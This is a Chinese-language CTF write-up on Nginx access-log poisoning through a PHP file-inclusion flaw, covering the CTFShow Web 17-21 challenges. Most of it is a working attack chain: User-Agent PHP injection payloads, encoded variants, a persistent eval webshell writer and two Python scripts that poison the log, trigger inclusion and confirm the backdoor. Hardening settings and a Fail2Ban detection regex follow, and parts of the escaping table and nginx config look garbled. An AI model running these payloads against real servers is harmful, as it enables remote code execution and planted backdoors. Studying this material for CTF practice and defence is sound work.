CTFShow 萌新区 Web 17-21 通解:Nginx 日志包含漏洞利用与 3 步 Getshell

Nginx日志文件包含漏洞深度利用:从注入到Getshell的完整攻击链

1. 漏洞原理与Nginx日志机制解析

Nginx作为主流Web服务器,其访问日志(access.log)默认记录所有客户端请求信息。当PHP应用存在文件包含漏洞且未正确配置日志路径时,攻击者可通过污染日志内容实现代码注入。

日志记录关键字段

  • $remote_addr- 客户端IP
  • $request- 请求行(GET/POST等)
  • $status- 响应状态码
  • $http_user_agent- 用户代理(常被忽略的安全盲区)

典型漏洞触发条件:

  1. PHP应用使用include/require等函数动态包含文件
  2. 包含路径参数未严格过滤(如?file=/var/log/nginx/access.log)
  3. Nginx日志对运行用户可读
# 默认Nginx日志格式示例 log_format main '$remote_addr - $remote_user [$time_local] ' '"$request" $status $body_bytes_sent ' '"$http_referer" "$http_user_agent"';

警告:日志文件通常包含敏感信息,生产环境应严格限制访问权限

2. 攻击步骤拆解

2.1 日志路径探测

常见Nginx日志存储位置:

/var/log/nginx/access.log /usr/local/nginx/logs/access.log /opt/nginx/logs/access.log ../nginx/logs/access.log

快速验证方法:

curl "http://target.com/?file=/var/log/nginx/access.log"

2.2 污染日志内容

通过精心构造User-Agent注入PHP代码:

GET / HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['cmd']);?>

验证注入效果:

curl "http://target.com/?file=/var/log/nginx/access.log&cmd=id"

2.3 持久化Webshell写入

为避免重复污染日志,建议写入持久化后门:

GET /shell.php HTTP/1.1 Host: target.com User-Agent: <?php file_put_contents('shell.php','<?php eval($_POST[x]);?>');

关键技巧

  • 使用单行PHP代码避免日志换行干扰
  • 优先选择可写目录(/tmp、/var/tmp等)
  • 多次URL编码绕过基础过滤

3. 高级绕过技术

3.1 日志语法污染处理

Nginx日志会自动转义特殊字符,需注意:

原始字符日志记录形式PHP解析效果
<?php<?php正常
?>?>正常
""破坏语法
''破坏语法

解决方案:

<?php system($_GET[0]); // 避免引号

3.2 多阶段编码注入

当直接注入失败时尝试:

  1. Base64编码:
User-Agent: <?php eval(base64_decode('c3lzdGVtKCdpZCcpOw=='))?>
  1. 十六进制编码:
User-Agent: <?= \x73\x79\x73\x74\x65\x6d($_GET[0]) ?>

3.3 自动化攻击脚本

import requests import urllib.parse TARGET = "http://victim.com" LOG_PATH = "/var/log/nginx/access.log" SHELL_NAME = "backdoor.php" # 步骤1:污染日志 payload = f"<?php file_put_contents('{SHELL_NAME}','<?php eval($_POST[0]);?>');?>" requests.get(TARGET, headers={"User-Agent": payload}) # 步骤2:触发包含 resp = requests.get(f"{TARGET}/?file={LOG_PATH}") if "Warning" not in resp.text: print("[+] 注入成功!") # 步骤3:验证Webshell shell_url = f"{TARGET}/{SHELL_NAME}" resp = requests.post(shell_url, data={"0": "echo md5(123);"}) if "202cb962ac59075b964b07152d234b70" in resp.text: print(f"[+] Webshell激活: {shell_url}")

4. 防御与检测方案

4.1 安全防护措施

服务器配置

# nginx.conf 安全设置 server { location ~* \.php$ { fastcgi_param PHP_ADMIN_VALUE "open_basedir=/var/www:/tmp"; fastcgi_param PHP_VALUE "disable_functions=exec,passthru,shell_exec,system"; } location ^~ /logs/ { deny all; } }

PHP防护代码

// 安全包含函数 function safe_include($path) { $allowed = ['/var/www/templates/']; $realpath = realpath($path); foreach($allowed as $prefix) { if(strpos($realpath, $prefix) === 0) { return include($realpath); } } throw new Exception("非法文件包含尝试"); }

4.2 入侵检测指标

日志监控关键词

  • <?phpin User-Agent
  • system(in request URI
  • 异常文件包含尝试

示例检测规则

# Fail2Ban规则 [nginx-php-injection] enabled = true filter = nginx-php-inject logpath = /var/log/nginx/access.log maxretry = 3 bantime = 3600 # 对应filter正则 ^\d+\.\d+\.\d+\.\d+.*"(GET|POST).*<\?php

5. 实战案例:CTFShow Web17-21完整利用

环境特征

  • PHP文件包含漏洞参数:?file=
  • Nginx日志路径已知
  • 目标flag位置:/flag

攻击流程

  1. 确定日志路径:
GET /?file=/var/log/nginx/access.log HTTP/1.1
  1. 注入执行代码:
curl -A "<?php system('cat /flag');?>" http://target.com/
  1. 触发包含获取flag:
GET /?file=/var/log/nginx/access.log HTTP/1.1

自动化脚本

import requests def exploit(target): s = requests.Session() # 污染日志 s.get(target, headers={"User-Agent": "<?php system($_GET[0]);?>"}) # 触发执行 resp = s.get(f"{target}?file=/var/log/nginx/access.log&0=cat%20/flag") print(resp.text.split('\n')[-2]) # 提取flag exploit("http://ctf.show/challenge/")